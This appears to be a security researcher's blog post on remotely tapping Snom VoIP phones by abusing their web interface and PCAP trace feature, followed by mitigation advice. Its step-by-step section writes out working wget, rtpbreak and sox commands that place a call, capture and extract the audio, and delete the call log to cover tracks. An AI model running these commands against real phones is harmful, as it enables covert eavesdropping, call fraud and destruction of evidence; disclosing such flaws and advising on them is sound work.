Remote Tapping a Snom VoIP Phone

I have a bit of history in attacking VoIP phones, specifically VoIP Wifi phones. Way back in 2005-2006 I purchased several VoIP Wifi phones and conducted very basic security analysis to demonstrate a commonality of vulnerabilities, most notably that many of them had a number of open ports and extraneous services.
               This research resulted in several CVEs, including some companies that should have known better. I also spoke a few conferences, and you can check out my Shmoocon slides from 2006. Most importantly of all, my findings of the VXworks debugging port of UDP/17185 was recently deeply expanded upon by none other than HD Moore who released research and a set of tools that is truly awe-inspiring when it comes to attacking VXworks debugging. For myself, it was humbling to see HD take this to a level that I can only dream of someday attaining.
                So, last week, Michael Sutton at Zscalar wrote a blog post about misusing a new feature in HP Printers called WebScan. Essentially, WebScan functionality allows a user to scan a document that is physically on the printer and save the image to the local computer. HP’s WebScan is an excellent example of how a device’s features are all too often are leveraged by attackers, and Michael’s post inspired me to look at some recent features ripe for abuse in VoIP phones.
                 One area that I wanted to revisit is attackers able to control a VoIP phone dialing. Back in 2006 I identified a feature in Clipcomm VoiP Wifi phones that would allow an attacker to log into the phone via telnet and place a call from the VoiP Wifi phone to any number. Pretty bad stuff, right?
                  Looking at some of the newer VoIP phones from Snom, however, and there’s a webpage on the Snom’s webserver that allows one to enter in a number to dial. A useful feature, so long as your Snom has authentication set on the webserver, otherwise anyone with access to that webpage can make a call. From the Snom user’s perspective, this feature will start a call from your Snom on the speakerphone.

 

                So, with this kind of feature, an attacker could search for Snom phones exposed on the Internet, determine if they are using HTTP authentication, and if they are not, could easily connect the the Snom VoIP phone’s webserver and punch in the number to dial — clearly opening up avenues to cause grief such as expensive 900 numbers, prank calls, etc.
Really, this is not a big deal, and is more of a headache than anything else. But what if an attacker could remotely capture on the phone the voice streams from a call that she placed? That ups the ante a bit, and such an attack is possible by abusing features!


Snom VoIP Phone PCAP Trace

                  Some Snom VoIP phones have a feature called “PCAP Trace” that allows, via the web interface, the start/stop and download of a PCAP file on the Snom VoIP phone — the screenshot below shows the actual page on the VoIP phone, a Snom 360 in this case.

The Snom PCAP Trace feature does have limitations in that it the PCAP data is stored in a circular buffer because of memory limitations, and that enabling PCAP capture can impact the phone’s performance (no surprise here). Still, it is a scary feature that if not secured creates an attack vector where a remote attacker can literally tap your phone.


Remote Tapping Your Snom VoIP Phone

             To start/stop a PCAP on the Snom VoIP phone, one just clicks on the ‘Start’ or ‘Stop’ buttons on the phone webpage. After the capture is complete, an attacker can then download the PCAP trace and extract the audio using Wireshark or the amazing command-line RTPbreak by Michele Dallachiesa.
              So, combining the web page place call feature with the PCAP trace feature, an attacker can make a Snom VoIP phone call any number and then the attacker can capture the call remotely on the Snom VoIP phone. For the final touch, an attacker can also delete the call record of the last call made, thereby wiping the apparent record of the call, at least on the Snom VoIP phone itself. Scary? You betcha. The following is a walk-through of the seven steps — you can code this up for yourself or download my handy-dandy snom_call_tap.sh script — please do be ethical and responsible with this script.


Poor Man’s NSA — Step-by-Step

Step 1: Start the tap on the Snom Web interface
wget    –post-data=’start_pcap=Start’    $1/pcap.htm     -O logz_$1/start_pcap.html

Step 2: Place the call to the target through the Snom Web Interface
wget    –post-data=’NUMBER=’$2′&DIAL=Dial&active_line=1′ $1    -O logz_$1/place_call.html

Step 3: Stop the tap on the Snom Web interface
wget    –post-data=’stop_pcap=Stop’    $1/pcap.htm    -O logz_$1/stop_pcap.html

Step 4: Pull the PCAP from the Snom Web Interface
wget http://$1/trace.pcap -O logz_$1/trace_$1.pcap

Step 5: Run RTPbreak to extract the RTP stream from the PCAP
rtpbreak -P2 -t100 -T100 -d logz_$1 -r logz_$1/trace_$1.pcap

Step 6: Run SOX to marry the extracted audio into single WAV file
sox -r8000 -c1 -t ul logz_$1/rtp.0.0.raw -t wav logz_$1/0.wav

Step 7: Delete the last call record to cover tracks
wget http://$1/adr.htm?dialeddel=1 -O logz_$1/del_call_log.htm

So, there you have it. What makes this kind of feature especially problematic are two things. First, known vulnerabilities in some Snom phones allows an attacker to bypass authentication. Second, Shodan, which I’ve written about before here and here, makes it easy for attackers to locate vulnerable Snom phones. I leave following-up on these aspects an exercise for the reader.


Mitigation

Don’t like the possibility of some miscreant controlling your Snom VoIP phone, making calls on your behalf and tapping your calls? I expect that you don’t. Here are some humble suggestions to mitigate help you to mitigate your risk.

Avoid putting VoIP phones on public IP if at all possible

Use latest code for VoIP phones that patches known vulnerabilities

Enable authentication on the VoIP phone’s Web interface and use a strong password

Send logs from phone to another server and review for abuse

Train phone users to recognize their VoIP phone is compromised (slow running, makes calls by itself, etc.)

Demand from vendors firmware images that do not have such dangerous functionality — or at least have more authentication to use this kind of “feature”

Support alternatives like the Open Snom Project